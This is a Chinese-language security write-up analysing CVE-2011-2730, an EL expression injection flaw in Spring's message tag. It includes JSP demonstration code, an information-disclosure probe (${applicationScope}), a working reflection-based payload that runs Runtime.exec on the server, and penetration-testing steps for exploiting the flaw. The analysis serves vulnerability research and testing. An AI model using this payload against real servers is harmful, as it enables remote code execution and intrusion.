Spring标签EL表达式漏洞分析(CVE-2011-2730)
El表达式简介
定义:El表达式简单来说,是用简单的语法访问对象的反射库。
在jsp页面中可以使用el表达式代替<%=%>,之间访问java对象。
下面的例子分别使用<%=%>和el表达式访问对象:
<%@ pagelanguage="java"import="java.util.*"pageEncoding="UTF-8"%>
<%!
public class Person{
private String name;
private int age;
public String getName(){
return this.name;
}
public void setName(String name){
this.name = name;
}
public int getAge(){
return this.age;
}
public void setAge(int age){
this.age = age;
}
}
%>
<%
Person p = new Person();
p.setName("lup7in");
p.setAge(25);
request.setAttribute("p",p);
%>
<html>
<head>
<title>EL表达式测试</title>
</head>
<body>
jsp标准方法取值:<br/>
<%=((Person)request.getAttribute("p")).getName()%><br/>
<%=((Person)request.getAttribute("p")).getAge()%><br/>
el表达式取值:<br/>
${p.name}<br/>
${p.age}
</body>
</html>
执行结果:
这里可以看到${p.name}的执行过程就和上面使用标准jsp方法是一样的,首先从request对象中查找p对象,找到的话尝试通过getName方法访问这个对象的name属性。
EL表达式访问jsp内置对象
El表达式还可以访问jsp中的各种内置对象,例如:
${param.foo}相当于request.getParameter(“foo”)
${sessionScope}相当于request.getSession()
我们可以通过${applicationScope}访问application作用域内部,可以获取到应用的各种属性,如图:
EL 2.2中的新特性
在EL2.2中,不仅支持访问对象内部属性,还支持直接调用对象内部方法(有点像OGNL了),这样我们就不仅可以访问内置对象的属性了,还可以直接调用对象内部的方法,Tomcat7等较新的servlet容器提供了对el2.2的支持,如下图:
,如下面这段代码:
<body>
${param.a.replace("a","b")}
</body>
这段代码的意思是接受a参数的值,并且调用字符串对象中的replace方法,把字符串中的a字符替换成b,接下来我们提交:http://127.0.0.1:8080/SpringTag/index.jsp?a=aaaaaaa,看一下效果,如图:
说明replace方法被成功执行了。
Spring标签中的el表达式
Spring提供的标签中也对el表达式提供了支持,我们写一段简单的测试代码:
<%@ pagelanguage="java"import="java.util.*"pageEncoding="UTF-8"%>
<%@ tagliburi="/WEB-INF/spring.tld"prefix="spring"%>
<!DOCTYPEHTMLPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>SpringTag</title>
</head>
<body>
<spring:messagetext="${param.a}"></spring:message>
</body>
</html>
这段代码使用了一个spring提供的message标签,其中的text属性支持el表达式,这里我们使用${param.a},接收用户提交的a参数的值,访问结果如下图:
我们可以看到提交的参数a的值foo被显示到了页面上。
这里到了一个关键的位置,spring的漏洞就出现这这个地方,spring标签中支持将获取的字符串作为el表达式执行,也就是说当我们提交:
http://127.0.0.1:8080/SpringTag/index.jsp?a=${applicationScope}
的时候,${applicationScope}这段字符串会被当做el表达式被执行,而不是作为字符串直接显示在页面上,如下图:
我们改变提交的el表达式,就可以获取我们需要的信息了,这就达到了el表达式注入的效果。
Spring标签EL表达式注入深入研究
有了Spring标签中的EL表达式注入,再结合上EL2.2中对方法调用的支持,我们可以尝试构造一些更有攻击效果的代码,而不仅仅局限在获取服务器的一些信息上。
不过这个地方在测试的时候遇到了一个问题,就是tomcat 7服务器,对于以字符串形式传入的EL表达式中的方法调用没办法正常执行,这里有待进一步研究,所以下面的测试都在resin4.0服务器上进行。
由于EL表达式中不能使用new操作符直接构建对象,也不能直接访问到java的类文件,所以我们这里要使用反射,这里我通过反射,首先获取java.lang.Runtime中的静态方法getRuntime的Method对象,然后通过invke方法获取一个Runtime对象,接着就可以直接调用exec方法运行想运行的程序了,这里我运行系统的计算器程序来测试,下面是完整的poc代码:
${pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc",null,null).toString()}
执行效果:
还可以根据反射构造对象和调用方法的思路,构造出更多完善的poc来,这里就不多研究了。
在渗透测试中的应用
要在渗透测试中使用这个漏洞,还是有些困难的,我大概总结了一下步骤:
1. 确定web应用使用了spring标签,因为没有spring标签的话,也就谈不上EL表达式注入了
2. 确定标签中存在EL注入,可以通过提交${applicationScope}等进行测试
3. 判断servlet容器版本,如果容器不支持EL2.2的话,存在EL注入也只能进行获取服务器信息等操作了
4. 如果容器支持EL2.2,就可以尝试构造攻击代码对服务器本身直接进行攻击